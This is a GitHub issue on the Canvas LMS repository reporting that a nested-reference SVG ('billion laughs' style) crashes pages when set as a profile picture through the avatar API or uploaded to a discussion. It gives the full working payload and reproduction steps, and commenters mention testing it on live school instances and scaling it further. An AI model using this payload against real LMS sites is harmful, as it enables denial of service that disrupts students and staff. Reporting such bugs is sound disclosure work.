search

instructure / canvas-lms

The open LMS by Instructure, Inc.
https://github.com/instructure/canvas-lms/wiki
GNU Affero General Public License v3.0
5.41k stars 2.42k forks source link

svg lol attack #2325

Open LunaLeTuna opened 3 months ago

LunaLeTuna commented 3 months ago

Summary: ability to crash the page with svg pfp

Steps to reproduce:

<svg version="1.2" baseProfile="tiny" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" xml:space="preserve">
<path id="a" d="M0,0"/>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
<g id="f"><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/><use xlink:href="#e"/></g>
<g id="g"><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/><use xlink:href="#f"/></g>
<g id="h"><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/><use xlink:href="#g"/></g>
<g id="i"><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/><use xlink:href="#h"/></g>
<g id="j"><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/><use xlink:href="#i"/></g>
</svg>
  1. make a svg file and put this ^

  1. download a image to a eprofile, to make a public file

  2. use api to change pfp to that svg with user[avatar][url]

    1. refresh page with pfp and crashes

or just upload to a discussion

Expected behavior: crashes the page

Actual behavior: not crash it

maybe this has been fixed, I did this on my school's instance

pythoncrazy commented 3 months ago

I think you did a little fliperoo there young lad, the expected behaviour should be to not crash the page.

Injng commented 3 months ago

Interesting, I'll test this at some point.

Khorne101 commented 3 months ago

funny

LunaLeTuna commented 3 months ago

True lol Not even sure how'd you fix it besides just out right blocking svgs as pfps Guess people also call it a billion laughs attack lmao

Khorne101 commented 3 months ago

You are a furry :333333

LunaLeTuna commented 3 months ago

Maybe

pythoncrazy commented 3 months ago

interesting, I will look into expanding further with this, maybe cause a trillion laughs. Side note, this is also tested on our school instance with discussions, also seems to crash it